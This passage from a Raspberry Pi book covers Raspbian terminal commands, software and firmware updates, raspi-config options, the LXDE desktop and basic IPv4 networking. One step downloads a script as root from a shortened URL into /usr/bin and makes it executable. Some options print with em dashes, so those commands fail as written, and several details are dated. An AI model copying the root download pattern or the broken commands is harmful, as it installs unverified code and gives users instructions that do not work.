common of these shortcuts are Control+O to write out (save) your file, and Control+X to exit nano.
man
Any self-respecting Linux distribution includes a local library of manual (man) pages that describe
the full purpose and syntax of Linux commands. Raspbian is no different!
To look up syntax for a particular Linux command (let’s start with ls as an example), try this:
man ls
The man pages open by default in the page viewer less (run man less to learn more about this
program!). You can see the screen output in Figure 5.5.
FIGURE 5.5 Raspbian man pages open in the less page viewer by default.
You can actually run man man to learn more about the man command itself.
To navigate a man page in the less viewer, use the spacebar to move one screen at a time and press
Enter to scroll one line at a time. To exit the viewer, simply type q.
shutdown
In Debian, the shutdown command is my preferred way for not only shutting down the Pi, but also for
performing reboots.
To initiate an immediate shutdown on your Pi, simply issue the following command:
sudo shutdown -h now
The -h parameter instructs Raspbian to halt the system as opposed to simply putting the system in a
standby state. To halt Linux means to power off the machine entirely.
Somewhat ironically, you can also use the shutdown command to restart the Raspberry Pi. To do this,
include the -r parameter as shown here:
sudo shutdown -r now
You will observe my use of sudo for any issuance of the shutdown command. In Linux, shutting down
or restarting the system is a privilege reserved only for those with superuser (root) abilities.
The now parameter can be substituted with a time value if, for whatever reason, you want to delay a
halt or a reboot. Consider the following example, which employs a 10-minute delay as well as a pop-
up message to all connected users. Please note that the following code should be typed on a single
line; this isn’t two separate statements.
Click here to view code image
sudo shutdown -h +10 "Server is going down for maintenance. Please save your
work and logoff. Thank you."
You might have wondered, “Hey, Tim—where are the other file-management commands?” Those of
you with some previous Linux experience probably have used one or more of the following Terminal
commands:
cp: Copy file
mkdir: Make a directory
mv: Move or rename a file
rm: Remove a file
rmdir: Remove a directory
In my experience, most file management tasks are more easily accomplished from the GUI shell as
opposed to from the command line. That said, both methods are covered in the next chapter.
Updating Your Software
In Chapter 4, “Installing and Configuring an Operating System,” you learned how to flash your SD
card with the Raspbian operating system. More specifically, you observed post-flash that the disk
contained not one but two partitions. The first partition contains the Raspberry Pi firmware, and the
second contains the Raspbian operating system proper. You can see this disk layout in Figure 5.6.
FIGURE 5.6 A Raspbian SD card contains two partitions: one for the Linux firmware and the
other for the OS itself. The firmware files are shown in the top window, and the OS files are shown
in the bottom window.
For security and stability reasons, it is important that you periodically run an update check not only
for the operating system, but also for the firmware itself.
Updating Raspbian
Two Terminal commands need to be issued to update this Raspbian distribution. Here’s the first
command:
sudo apt-get update
Debian Linux distributions use the Advanced Packaging Tool, or APT, to locate, download, install,
and remove application and OS software. The statement apt-get update fetches the latest updates to
the Pi’s configured software repository list.
In Linux parlance, a software repository is an online location where you can search for and install
software for your computer. It’s important to note that apt-get update does not actually update
anything; it simply makes sure that your system has the latest and greatest info regarding software
versions in the software repositories.
To perform an update operation, issue the following Terminal command:
sudo apt-get upgrade
To make this process more convenient, you can use the double ampersand (&&) concatenation
operator to chain the two commands into one:
Click here to view code image
sudo apt-get update && sudo apt-get upgrade
We revisit the concepts of software repositories and the APT system in Chapter 6, “Debian Linux
Fundamentals—Graphical User Interface.”
Updating the Pi Firmware
As it happens, a member of the Raspberry Pi community named Hexxeh created a tool called rpi-
update (http://is.gd/Rrh2bS) to automate the firmware update process. Here’s the procedure:
1. Get to a Terminal prompt on your Raspberry Pi.
2. Run the following commands:
Click here to view code image
sudo dpkg-reconfigure tzdata
sudo apt-get install git-core
The dpkg statement checks the system’s currently configured time zone. Git is an open source
software version control application that is very popular among Linux developers.
3. Run the following command:
Click here to view code image
sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && sudo chmod +x /usr/bin/
rpi-update
Wow—that was a long, honkin’ command, wasn’t it? Let’s break down what it does:
wget (pronounced double yew get): This is a Linux tool you use to retrieve web server content
from Terminal (as opposed to from a web browser).
http://goo.gl/1BOfj: This is simply a shortened Uniform Resource Locator (URL) to where
the rpi-update program lives on github.com.
&&: The double ampersand is a Linux concatenation operator that allows you to run one
statement immediately after the preceding one completes.
chmod (pronounced see-aych-mod): This is a Linux command you use to edit the permissions
and attributes on files and directories. In this case, you are allowing rpi-update to run as an
executable program file.
4. To perform a firmware update check/install, simply run the following command:
sudo rpi-update
If you do get a firmware update, you’ll need to reboot your Pi. Remember that you can do that from
the Terminal prompt by using the following statement:
shutdown -r now
Revisiting Raspi-Config
By far the easiest way to perform initial setup of your Raspberry Pi is to use the built-in Raspi-Config
utility. You can start Raspi-Config from the full-screen Bash environment or from the LXTerminal
simply by typing the following:
sudo raspi-config
Doing so presents you with the Raspi-Config text-based interface you saw in Chapter 4. Raspi-Config
is actually a user-friendly front end to the config.txt configuration file located in the /etc directory.
Figure 5.7 shows you what the Config.txt file looks like.
FIGURE 5.7 The Raspi-Config utility makes “under the hood” changes to the Config.txt file.
You can see the Raspi-config interface proper in Figure 5.8.
FIGURE 5.8 The Raspberry Pi Software Configuration Tool (Raspi-Config).
You can navigate through Raspi-Config utility by using the keyboard and can use your Up and Down
arrow keys or the Tab key to move through the options; press Enter to make a selection.
To leave the main menu and leave Raspi-Config, use the Right Arrow or Tab until you’ve highlighted
Finish, and then press Enter.
Let’s close this chapter by walking through each Raspi-config option in greater detail.
Expand Filesystem
You should run this option as soon as possible after flashing your Raspbian SD card. Doing so makes
the full space of your SD card available to Raspbian. If you don’t expand the root file system, your
Raspbian OS will be limited to a 2GB partition. This result is, of course, quite undesirable if you are
using a 32GB SD card!
Change User Password
Everybody with any degree of familiarity with the Raspberry Pi knows that the default username is pi
and the default password is raspberry. Thus, if you have any notion of storing confidential data on
your Pi, you are best advised to change the password for the pi account immediately.
Remember you can also change the current user’s password at any time by issuing the passwd
Terminal command.
You learn how to create additional user accounts in the next chapter.
Enable Boot to Desktop
This option can be used to instruct the Pi to book directly into LXDE instead of stopping at the
Terminal prompt. Of course, you need to perform some additional work if you habitually connect to
your Pi remotely like I do. At any rate, Chapter 7 gives you the full skinny on Raspberry Pi
connectivity options.
Internationalisation Options
This option opens a submenu that enables you to localize your Pi to its corresponding geographic
location. Inside this submenu are three options:
Change Locale: This option enables you to choose your default language and corresponding
character set. The Pi is configured for UK English by default, but if you want to make a change,
you can do so here. For instance, users located in the United States should select the
en_US.UTF-8 locale.
Change Timezone: The Foundation cut some financial and production corners by not
including a real-time clock on the Raspberry Pi PCB. Accordingly, the Pi needs some help in
determining the current time and date. Please be sure to select your proper timezone here, and
then as long as the Pi is connected to the Internet, the Pi will periodically synchronize system
time with one of the world’s atomic time clock servers.
Keyboard Layout: By default, Raspbian is configured for the UK English keyboard layout.
This makes sense because Raspberry Pi is a UK product. However, you’ll want to change the
keyboard layout to match your locale so that you don’t see any unexpected behavior in your
typing results. Most commonly, this “unexpected behavior” manifests in, for instance, a US
user typing @ and seeing “ (double quote) instead, or typing # and instead seeing the pound
sterling symbol.
Note: Internationalisation?
Given the Raspberry Pi is a product of the UK, if you are an American who is
accustomed to using Zs instead of Ss (“internationalization” versus “internationalisation”),
you should just jolly well get with the global program, wot?
Enable Camera
This option loads the Raspberry Pi camera module drivers and packages, enabling you to make use of
the camera board. We’ll spend a lot of time with the Raspi camera in Chapter 16, “Raspberry Pi
Portable Webcam.”
Add to Rastrack
This option enables you to add your Raspberry Pi to the Rastrack (http://is.gd/sGStJL) database.
Rastrack is a live map that shows you the geographic distribution of Raspberry Pi computers. It’s
really cool—check it out!
We’ll actually learn how to use Rastrack and address any privacy-related concerns you may have in
Chapter 17, “Raspberry Pi Security and Privacy Device.”
Overclocking
Overclocking refers to tweaking the CPU operating parameters to force the processor to run at a
higher speed than it was originally designed for. The Foundation provides us with helpful
overclocking levels to afford us the opportunity to turbo-charge our Pi while at the same time
reducing the possibility of frying the chip. Again, this option is discussed in great detail in Chapter
18, “Raspberry Pi Overclocking.”
In the meantime, let me at least let the proverbial cat out of the bag by showing you the overclock
levels in Figure 5.9. I’m sure the wording in the dialog “Chose overclock preset” will be fixed in a
future firmware update (at least I hope so; sometimes the Pi reveals the lack of spit and polish
inherent in grassroots community projects).
FIGURE 5.9 The Foundation makes it pretty easy to overclock the Raspberry Pi CPU.
Advanced Options
This is a submenu that contains the following options:
Overscan: The overscan option enables you to manually adjust the Raspbian screen image.
I’ve never had a problem with the display spilling off the outer border of my monitor, but it’s
nice to have correction capability built into the OS.
Hostname: This option enables you to change the name of your Raspberry Pi from its default
name of raspberrypi to something of your choosing. I’ve found this option helpful when I’m
dealing with a busy network that consists of more than one Raspberry Pi.
Changing any default value in a computer is a recommended security practice because an
attacker’s first task is to breach your security by capitalizing upon defaults that were never
changed by the owners.
Memory Split: The Pi’s SoC consists of two processing centers: the CPU and the GPU. You
can adjust how much memory should be reserved for the GPU by accessing this option. This
can have a great impact on system performance depending upon what application you use. This
option is also discussed in great detail in Chapter 18.
SSH: Secure Shell (SSH) provides a secure and reliable means of establishing a command
prompt session on a remote computer. The SSH server functionality is enabled in Raspbian by
default, so you should not need to do anything here.
You learn all about SSH connectivity in Chapter 7.
Update: This option performs an update check for the Raspi-Config script itself.
About raspi-config: This is purely an informational dialog.
Raspi-Config Under the Hood
If you’d like to view the Raspi-Config script source for intellectual curiosity’s sake, run the following
Terminal command:
nano /usr/bin/raspi-config
From inspection of the previous command you can draw the following conclusions:
Raspi-Config is actually a Bash shell script (Linux script files typically have the file extension
.sh).
The Raspi-Config.sh script is located in the Raspbian file system in the /usr/bin directory.
Just for grins, I show you the partial contents of Raspi-Config.sh in Figure 5.10.
FIGURE 5.10 The Raspi-Config utility is actually the product of a Bash shell script.
Please note that as the Raspberry Pi Foundation adds new features to the Pi, they accordingly update
the Raspi-Config utility. Therefore, don’t be surprised if, after running an apt-get upgrade, you see a
new Raspi-Config option or a slightly changed menu organization.
Next Steps
At this point I hope you now have enough familiarity with the Linux command-line environment and
Raspi-Config utility that you can set up your Raspberry Pi and get into and out of the graphical shell.
In the next chapter, I formally introduce the LXDE graphical environment; doing so should answer
some questions that probably popped into your head regarding this interface.
Chapter 6.
Debian
Linux
Fundamentals—Graphical
User
Interface
“Why run a graphical user interface (GUI, pronounced gooey) at all on a Raspberry Pi?” some
computer enthusiasts complain. They’ll tell you that the Pi’s hardware is slow enough as it is. Not to
mention that any self-respecting Linux user should be able to accomplish everything he needs by using
the command line.
Yes, some Linux aficionados take user experience (UX) matters that seriously. And with the
Raspberry Pi they have a point to a certain extent. Shouldn’t we conserve as much of the Pi’s CPU
and GPU resources for actual work instead of for drawing fancy windows?
Well, friends, the raw truth of the matter is that many computer users simply prefer the simplicity and
intuitiveness of a GUI. Most of us who have grown accustomed to the keyboard and mouse-based
navigational methods in OSs such as Microsoft Windows and OS X don’t want to bother learning
something new. Thus, the Foundation saw fit to include a graphical shell in the Raspbian Linux
distribution. In this chapter you learn how to start, configure, use, and exit the GUI shell.
LXDE—The Desktop Environment
The official Raspbian Linux distribution includes the Lightweight X11 Desktop Environment, or
simply LXDE. The main benefit of LXDE is that it was written to be as light on system resources as
possible, while at the same time offering the Linux user as much functionality as possible. I show you
the default LXDE Desktop in Raspberry Pi later on in this chapter, in Figure 6.1. Ignore the
annotations for now; the “Touring the LXDE Interface” section later in this chapter describes all of
the user interface parts.
FIGURE 6.1 LXDE is the default GUI shell in Raspbian.
Oh, in case you are wondering—there isn’t anything wrong with your video if you compared Figure
6.1 with your Pi’s desktop and thought, “Why don’t I see the blue background like Tim has?” I simply
swapped out the default white background to one that isn’t so harsh on my eyes. Take heart—you’ll
learn how to customize your LXDE environment soon enough.
Understand that LXDE is by no means the only game in town when it comes to Linux GUI desktops in
general and system resource-friendly systems in particular. Some popular Linux GUIs include
KDE, GNOME (pronounced guh-nome): These are the most popular GUI desktops on full
Linux installations. However, you will be hard-pressed to run these GUIs on the Pi because
they are too resource-intensive.
XFCE: This is the main competitor of LXDE in terms of low-overhead Linux.
Note: X Factor
X-Windows, X Window System, and X11 are all synonyms that refer to the software
system and network protocol that makes GUI desktop environments available locally or
remotely on Linux systems. You can consider X the “engine” that powers the actual
Windowing systems such as GNOME, KDE, or LXDE. Many Linux fans use X generically
to refer to the GUI.
Starting and Exiting LXDE
If you started your Pi the traditional way, which is to say, by booting to the terminal prompt, then you
can start LXDE by typing startx and pressing Enter on your keyboard.
The most straightforward way to close your LXDE session and return to a shell prompt is to click the
Logout button on the LXPanel task bar. We’ll delve deeply into LXPanel as we move through the
chapter.
Remember our good friend raspi-config? We can customize boot behavior using this tool.
Task: Using Raspi-Config to Adjust Boot Behavior
To configure your Raspberry Pi to boot directly to the graphical desktop, follow these
steps:
1. From a Raspberry Pi terminal prompt, type sudo raspi-config.
2. From the Raspi-Config main menu, arrow down to the boot_behaviour option and press
Enter.
3. Answer the question Should we boot straight to desktop? by typing either Yes (to
enable GUI boot at launch) or No (to disable GUI autolaunch).
4. When you exit Raspi-Config, answer the question Would you like to reboot now? by
typing in Yes and pressing Enter.
Touring the LXDE Interface
Using Figure 6.1 as our guide, let’s review each of the Desktop icons and user interface elements in
LXDE. Please continue to ignore the annotations at the bottom of the figure for now; we’ll cover those
in just a moment. For now concentrate instead on the icons that run along the left-hand side of the
screen.
Midori: This is a shortcut to Midori, which is (surprise-surprise) a minimalist web browser
that conserves system resources.
Scratch: This is a link to Scratch 1.4. You learn how to create Scratch programs in Chapters 8,
“Programming Raspberry Pi with Scratch—Beginnings,” and 9, “Programming Raspberry Pi
with Scratch—Next Steps.”
Pi Store: This is a marketplace for the exchange of Pi-compatible apps. The Pi Store later is
covered in more detail later.
WiFi Config: This is an incredibly helpful tool for setting up a WiFi connection. You learn
about the Pi’s networking options in Chapter 7, “Networking Raspberry Pi.”
Debian Reference: This is a shortcut that opens the Dillo web browser and presents the
Debian reference pages in HTML format. These files are stored locally, so you don’t need to
be connected to the Internet to read the pages. You can see this interface in Figure 6.2.
FIGURE 6.2 Raspbian gives you offline access to Debian Linux help files.
IDLE 3: This is the integrated development environment (IDE) for Python 3. As you learn in
the next chapter, Raspbian includes both Python 2 and Python 3. Python is the default and
recommended programming language for the Raspberry Pi (recall that the “Pi” in “Raspberry
Pi” is an indirect allusion to the Python language).
LXTerminal: This is the command-line interface for the Pi. You can do everything in
LXTerminal that you can from outside of X in the terminal environment.
OCR Resources: This is a shortcut that opens Midori and opens the ICT and Computing page
of the Oxford Cambridge and RSA Examinations (OCR) website. Basically, this is a site for
teachers to get ideas on how to integrate Raspberry Pi into their academic curricula.
IDLE: This is the IDE for Python 2.
Python Games: This is a simple app launcher that enables you to try out a handful of Python
games.
Now let’s turn our attention to the annotations at the bottom of Figure 6.1. Because there are so many
tiny icons, I thought than numbering them would make it easier for you to differentiate them.
1. Main Menu: An app launcher that functions the same way the Windows 7 Start menu does.
2. PCManFM: A lightweight file manager that functions the same as Windows Explorer or the
OS X Finder. You can take a look at PCManFM in Figure 6.3.
FIGURE 6.3 The PCManFM file manager.
3. Midori: The lightweight web browser.
4. Minimize All: When you click this button, all onscreen windows minimize to the LXPanel.
5. Virtual Desktops: Linux has had this capability for a long time. You get two desktops by
default, but you can customize this number by right-clicking one of the virtual desktop icons,
selecting Desktop Pager Settings from the shortcut menu, and adjusting the Desktops options in
Openbox Configuration Manager.
Note: Understanding Virtual Desktops
A virtual desktop in the context of Linux in general and the Raspberry Pi in particular is
a software-based method for extending your computer’s desktop environment beyond the
borders of the physical monitor. That is, you can have multiple copies of the desktop that
each display separate application or document windows. This technology is less expensive,
although less convenient, than connecting multiple physical monitors to your computer.
6. LXPanel (the bottom bar as a whole): Behaves exactly like the Task Bar in Windows 7.
Actually, every element you see on this bar is nothing more than an applet that is enabled in
LXPanel. To customize LXPanel, right-click an empty part of the task bar and select Panel
Settings. Select the Panel Settings option to turn LXPanel panel applets on or off.
7. CPU Usage Monitor: Gives you real time, at-a-glance data on how busy the Pi’s CPU is.
8. Digital Clock: Right-click this applet and select Digital Clock settings to edit it. The clock
format uses a wonky, propeller-head style; visit http://is.gd/XHcNwN to learn the syntax.
9. Screenlock: You click this button to protect your Pi against unauthorized access while you
aren’t using the system.
10. Logout: You use this control to leave X and return to a terminal prompt, reboot the system,
or shutdown (halt) the Pi.
Buttons B–D represent what is called the Application Launch Bar. The three shortcuts that exist there
by default are simply that—defaults. To add additional shortcuts to the Application Launch Bar, right-
click one of the app shortcuts and select Application Launch Bar Settings from the shortcut menu.
Essentially the entire bottom task bar in LXDE represents the modular LXPanel. It’s quite a nifty
toolset, actually. For more information on LXPanel, visit http://is.gd/yINVrP.
Delving into the Main Menu
The Start menu has worked well for Microsoft operating systems since Windows 95. Personally, I’m
furious that Microsoft removed the Start menu from Windows 8; however, that is a discussion for
another time. The good news for fans of the functionality the Windows Start menu used to give us, is
that you’ll find one very much like it here.
Because the LXPanel Main Menu is such a central part of the LXDE user experience, I wanted to
spend a bit of time giving you the lay of the land with this tool. You can see the expanded Main Menu
in Figure 6.4 (I highlighted the Main Menu button to make it easier for you to identify).
FIGURE 6.4 The LXPanel Main Menu functions similarly to the Windows 7 Start menu.
Following is the top-level navigation of the Main Menu:
Accessories: Here you will find links to an image viewer, the Leafpad text editor,
LXTerminal, and the Xarchiver zip/unzip tool, among other tools.
Education: Here you can launch Scratch or its underlying Squeak management tool. Scratch is
based on an old programming language called Smalltalk, and Squeak is the specific Smalltalk
dialect that is used in Scratch.
Graphics: Here you can view Adobe Acrobat Portable Document Format (PDF) files by using
the open-source xpdf viewer.
Internet: Here you can open the Midori and Dillo lightweight web browsers, as well as
configure Wi-Fi settings.
Office: Here you find the tiny yet functional Orage Calendar and Orage Globaltime utilities.
These tools are actually part of the XFCE desktop environment briefly discussed earlier in the
chapter.
Other: This is a catch-all bucket for tools that the Raspbian developers could not or did not
want to pigeonhole into another program group. You’ll find a little of everything in this folder.
Programming: As expected, from here you can launch Scratch or the Python 2/3 IDLE
development environments.
Sound & Video: Here you can open a simple audio mixer application to configure Pi’s
onboard audio. Remember that system audio comes directly from the Broadcom SoC; there is
no dedicated sound “chip” on the Pi PCB.
System Tools: Here you can rename files, view and manage running tasks, and use the Thunar
File Manager (Thunar is nothing more than an alternative to PCManFM).
Preferences: This folder contains several file and system management utilities.
Run: You can use Run to issue terminal prompt statements from the GUI. This tool is directly
analogous to the Run box in Windows 7.
Logout: Exit and return to the command prompt environment.
The ordering and organization of the LX Panel Main Menu feels haphazard and not well thought out to
me. Surprisingly (or not, depending on your attitude about Linux), there is no graphical method for
customizing the Main Menu. The LXDE Wiki shows you how to manage the *.desktop files in the
/usr/share/applications directory to customize the Main Menu; see http://is.gd/OTcpFy for more
details.
Installing, Updating, and Removing Software
In Chapter 5, “Debian Linux Fundamentals—Terminal,” you learned how to use the apt-get commands
to update configured software repositories and update all installed software, including Raspbian
itself. Open up LXTerminal, and let’s now revisit the Advanced Packaging Tool, or apt.
First, what is a repository? In Linux terminology, a repository is an online source of regularly
updated installation packages. Repositories are specific (almost) to every Linux distribution.
From LXTerminal, type sudo nano /etc/apt/sources.list to view the list of Raspbian repositories. On
my system, the file contained only one line:
Click here to view code image
deb http://mirrordirector.raspbian.org/raspbian/ wheezy main contrib non-free rpi
Type CTRL+X, N to exit the sources.list configuration file without saving any changes.
Now let’s review how to find and install software by using apt. But first let’s update the repository:
sudo apt-get update
If you know the name of the software package that you are interested in (let’s say the XFCE graphical
environment—why not?), run this command:
sudo apt-get install xfce4
If you don’t remember the precise name of the package of interest, try this:
sudo apt-cache search xfce4
To get a list of installed software packages, you should switch gears just a little bit and use the dpkg
command instead, like so:
Click here to view code image
sudo dpkg —get-selections > ~/Desktop/packages
What the dpkg command does in this context is generate a list of installed packages into a file called
packages that will appear on the LXDE desktop. Remember that the tilde (~) character denotes your
home directory.
You can then view the list of installed packages by running
nano ~/Desktop/packages
You should know that the apt tools we’ve been using so far represent a (more) user-friendly front-end
to the dpkg package management system that has been a component of Debian Linux for quite some
time.
In Chapter 5 you were introduced to the man command. Be sure to access the man pages for the apt-
get and dpkg commands so you can learn more about them.
To uninstall an installed software package, try this:
sudo apt-get remove xfce4
Note: Performing a Complete Uninstall
To remove both an installed application package as well as any associated
configuration files, run the command sudo apt-get —purge remove pkgname.
Finally, by way of review: You’ll want to run the following command periodically to update the
repositories known by your Pi system:
sudo apt-get update
Remember that running update is only half the battle; you must also install any detected updates:
sudo apt-get upgrade
Accessing the Pi Store
The Pi Store, shown in Figure 6.5, is the Raspberry Foundation’s version of the Microsoft Store or
the Apple Store. The Store is meant to be a place where you can easily find software that has been
developed specifically for the Raspberry Pi platform. You can start the Pi Store by double-clicking
the desktop shortcut.
FIGURE 6.5 The Pi Store is to the Raspberry Pi what the Apple Store is to a Mac.
To do anything meaningful at the Pi Store (this means downloading software or uploading your own
stuff), you must first create a free account. To do this, click Login in the upper-right corner of the Pi
Store interface and then click Register.
You’ll observe a few things about the basic operation of the Pi Store. One, as of spring 2013, there
aren’t a whole lot of apps in the Store. This situation should improve over time as the Pi develops a
critical mass and sizable user base. Two, apps are of both the free and paid varieties. Also you need
a PayPal account (http://www.paypal.com) to purchase a Pi Store app.
As with everything else in the open source community, the Pi Store is all about sharing your work
with others. Visit the Upload tab in the Pi Store to register as a developer and then begin the process
of building and sharing your Pi Store games and apps. There is even the possibility of some extra
money if your paid app is successful! Figure 6.6 shows you my newly created developer page.
FIGURE 6.6 When you register as a developer, you get your own profile page in the Pi Store.
Task: Downloading a Free App from the Pi Store
1. From the LXDE desktop, double-click the Pi Store icon to open the program.
2. In the upper-right corner of the Pi Store, click Login, and then click Register to create a
free user account.
3. Once you’re logged in, navigate to the Games section and find the free app called
CrazyWorms2. If for some reason the game is no longer available, choose another free
game.
4. Click Free Download to download the game to your library. Note that the Pi Store takes
you from the Explore tab to the My Library tab.
5. To play your newly downloaded game, select CrazyWorms2 in My Library and then
click Launch in the right-hand information panel. Have fun!
Tweaking the LXDE UI
In this section I take a task-centered approach in showing you the most common interface tweaks in
LXDE. It’s important that I show you how this works so you can make the LXDE graphical
environment your own.
For instance, I find the default white background color to be much too harsh for my light-sensitive
eyes. Thus, the first interface tweak I always make on my Pi systems is to swap out the background
color to something a bit more neutral.
I think you’ll find that LXDE gives you the same kind of control you have in, say, Windows or OS X,
but the interface controls are a bit less intuitive to find and use. (Hey, welcome to Linux!)
Task: Change the Desktop Background
Speaking of swapping out the desktop background, why don’t we use that as our first
procedure?
1. To tweak the LXDE desktop background, right-click an empty area of the desktop and
select Desktop Preferences from the shortcut menu (see Figure 6.7).
FIGURE 6.7 You can customize the LXDE desktop by using GUI configuration applets.
2. You can perform the following actions in the Desktop Preferences dialog box:
Change the wallpaper independently of the background color. For instance, to specify a
solid color background, set the Wallpaper Mode property to Fill with background color
only and then adjust the Background color property.
Adjust the font and color of icon label text. To do this, adjust the Font of label text, Color
of label text, and Color of shadow properties.
Task: Customize the LXTerminal
I find that even when I’m working in a Linux GUI I still have at least one Terminal
session going on at any point in time. Let’s make that command prompt environment as
user-friendly as possible, shall we?
1. Open LXTerminal and then click Edit, Preferences.
2. In the LXTerminal dialog box, make any necessary changes. My “tricked out”
LXTerminal along with the Preferences window are shown in Figure 6.8. You can
perform several terminal configuration tweaks:
Change the terminal font and colors. The background color denotes the LXTerminal
screen, and the foreground color refers to the onscreen text. You can do this by setting
properties on the Style tab.
Customize the cursor. For instance, you can change the cursor style from block to
underline by editing the Cursor style property on the Style tab.
Edit the default scrollback value by adjusting the Scrollback lines property on the Display
tab. This is an important setting because it determines how far back you can scroll in an
LXTerminal session. For instance, you may display a large text file on-screen and you
want to ensure that you can scroll back to see every single line of text.
FIGURE 6.8 You can customize LXTerminal to suit your individual preferences.
Task: Customize the LXPanel
LXPanel represents the primary navigation system used in LXDE, as you’ve already
learned. Each component that you see on the Task Bar at the bottom of the LXDE screen
represents a particular LXPanel applet. Follow these steps to visit the major configuration
touch points:
1. Right-click an applet in the panel and select the first option in the shortcut menu to
customize that particular applet. For instance, you can right-click an empty area of the
Task Bar and select Task Bar (Window List) Settings to customize the position,
appearance, and so on of the task bar. Right-clicking the CPU meter gives you the option
CPU Usage Monitor Settings.
2. From any LXPanel shortcut menu, select Panel Settings to open the global configuration
dialog for the panel. The Panel Preferences dialog box consists of four tabs:
Geometry: Position, size, alignment, and icon of the LXPanel bar.
Appearance: Background color and/or wallpaper used to “color” the LXPanel.
Panel Applets: Add, remove, and edit the applets that are included on the LXPanel. You
can also specify the order in which you want these applets to appear.
Advanced: Set preferred applications, task bar hiding, and so on.
Openbox
Let’s finish this part of the chapter by briefly discussing Openbox. Openbox is different from
LXPanel; LXPanel is a navigation user interface host, but Openbox is the Window Manager that runs
behind LXPanel.
Open the Main Menu and click Preferences, Openbox Configuration Manager. Here you can make
further tweaks to applets resident in the LXPanel (the number of virtual desktops, for instance) and
globally in the system (see Figure 6.9).
FIGURE 6.9 The Openbox Configuration Manager.
Actually, you can find pretty much everything you want or need, GUI look and feel-wise, by browsing
the Preferences program group of the LXPanel Main Menu.
Editing Configuration Files
You’ll find that despite the control that GUIs like LXDE give you over the environment, the
unavoidable truth is that you accomplish most tweaking and system configuration by editing text files.
For instance, let’s say that you want to disable the Raspbian screensaver (it looks cool, but it
consumes valuable system resources). Now it is true that you can disable or enable the XScreensaver
in LXDE by opening the Main Menu and clicking Other, Disable XScreenSaver or Other, Enable
XScreenSaver, respectively. You can also change the currently active screensaver by opening the
Main Menu and clicking Preferences, Screensaver. However, you can also permanently disable the
screensaver by editing the LXDE autostart file with
Click here to view code image
sudo nano /etc/xdg/lxsession/LXDE/autostart
When you are in the file, you need to remove the following line from the file:
@xscreensaver -no-splash
Simply place your cursor at the end of the line and use Backspace to remove it. Next, press Ctrl+O to
save changes and then press Ctrl+X to exit the nano editor. Done and done!
Remember always to invoke sudo when you attempt to edit a configuration file; you won’t be able to
save your changes due to the default access permissions that are set on those files.
You are probably asking, “Tim, how did you know to edit the /etc/xtg/lxsession/LXDE/autostart
file?” My answer is simple: “Google it.” With Linux, we have a huge community of computer
scientists, experts, and enthusiasts at our disposal. I like to tell my students, “If you are experiencing a
problem with your Pi, chances are good that hundreds of other people are having the same problem,
and somebody has figured out how to fix it.”
To that end, let me share with you some of my favorite Raspberry Pi discussion forums. These online
discussion boards are a wonderful way not only to get your questions answered, but also to connect
and swap tips with other Raspberry Pi enthusiasts who are located throughout the world:
Official Raspberry Pi Forums: http://is.gd/6nBR5Z
Element 14 Raspberry Pi Forums: http://is.gd/2urLqa
Elinux.org Communities Reference: http://is.gd/yIeGIw
Chapter 7. Networking Raspberry Pi
Basic Networking Concepts
Ethernet is the de facto networking standard nowadays. It’s a protocol (set of protocols, actually) that
represents an agreed-upon set of rules that computing devices use to establish digital communications
with each other.
The good news is that any self-respecting local area network (LAN) and certainly the Internet all use
Ethernet, so there really isn’t anything more we need to discuss at that level.
More granularly, Ethernet hosts (that is to say, any device that has a network interface card [NIC]
installed and is configured for Ethernet networking) must have a unique Internet Protocol (IP) address
to be able to send and receive data meaningfully.
There are two versions of IP in use in the world today: IP version 4 (IPv4) and IP version 6 (IPv6).
Because IPv4 is the current standard and the state of IPv6 remains somewhat in flux, this book
focuses solely on IPv4.
An IPv4 address looks like this:
192.168.1.204
The IPv4 address is a “dotted decimal” representation of 32 binary digits, or bits. At base, you need
to know that each of the four decimal numbers ranges from 0 to 255 and that each host on a network
must have a unique IP address.
The other 32-bit number that is used in conjunction with the IP address is called the subnet mask. For
instance, a typical subnet mask that is used on many home networks is
255.255.255.0
The “mask” in “subnet mask” is used to differentiate the shared network portion of the IP address
from the computer-specific host portion. For instance, the IP address/subnet mask combination
192.168.1.204/255.255.255.0 means that this host resides on the 192.168.1.0 network, and the
station’s unique identifier is 204.
Actually, it is useful to compare the network and host portions of an IP address to a street address. If
my mailing address is 110 Smith Street, then “Smith Street” represents the shared network portion (on
which other houses reside), and “110” represents my unique host ID.
The Raspberry Pi will in all likelihood receive its IP address automatically from a router or
dedicated server running the Dynamic Host Configuration Protocol (DHCP) service. For instance, in
my home office my Comcast Business Gateway (a fancy term for a combo cable modem and router)
leases IP addresses to all of the hosts in my network. This all happens automatically and, usually,
without any need for me to get involved.
Note: More on Hosts
Remember that any device with an installed NIC that communicates on an Ethernet
network is known as a host. This includes PCs, Macs, network printers, “smart” switches,
game consoles, Internet-capable TVs and DVD players, mobile devices—the sky is almost
the limit. And being TCP/IP hosts, each host needs some method for obtaining a unique IP
address.
Thus, it is possible to assign specific IP addresses to your Internet-enabled devices or to use dynamic
IP configuration. By the conclusion of this chapter, you’ll understand how to use both IP addressing
methods.
Configuring Wired Ethernet
If you have any interest in having your Raspberry Pi communicate with other hosts on your home
network, or perhaps with Internet-based resources, then you need to know how to configure
networking.
The Raspberry Pi (depending upon the revision, whether A or B), supports both wired and wireless
Ethernet. To be a well-rounded Raspberry Pi power user, you should understand how each method
works.
Let’s start with wired Ethernet.
Before you put down the Raspberry Pi Model A for not having an RJ-45 port to support traditional
wired Ethernet, remember the purpose of the Model A: to provide a stripped-down computer with a
minimal power footprint. If you need Ethernet on the Model A, you can pop in a USB Wi-Fi dongle
and go about networking that way. I talk about Wi-Fi more in a little while.
For those who have a Model B, it’s time to plug in a standard Ethernet cable into the RJ-45 jack and
power the device on. As I said earlier, the Pi should pick up an IP address that is valid for your
network from a DHCP server. This DHCP server can be a wired router, a wireless router, or a
dedicated server.
Take a look at Figure 7.1, which shows the TCP/IP configuration on my Pi. I use the ifconfig
(pronounced eye-eff-config or ihf config) command for this purpose.
FIGURE 7.1 You can use ifconfig and route to view TCP/IP client configuration on your
Raspberry Pi.
Using the annotations on Figure 7.1 as our guide, here’s what all that output means:
1: These are network interface IDs. The eth0 interface refers to the RJ-45 wired Ethernet
interface on the board. The lo interface represents the loopback interface, which is used for
testing and diagnostics. If you have a Wi-Fi interface, you’ll see an entry called wlan0.
2: The HWaddr refers to the network interface’s media access control (MAC) or hardware
address. This is a unique identifier that is permanently “burned” into the network interface by
the manufacturer.
3: The Mask, or subnet mask, is a string of binary zeros (255 when translated into decimal
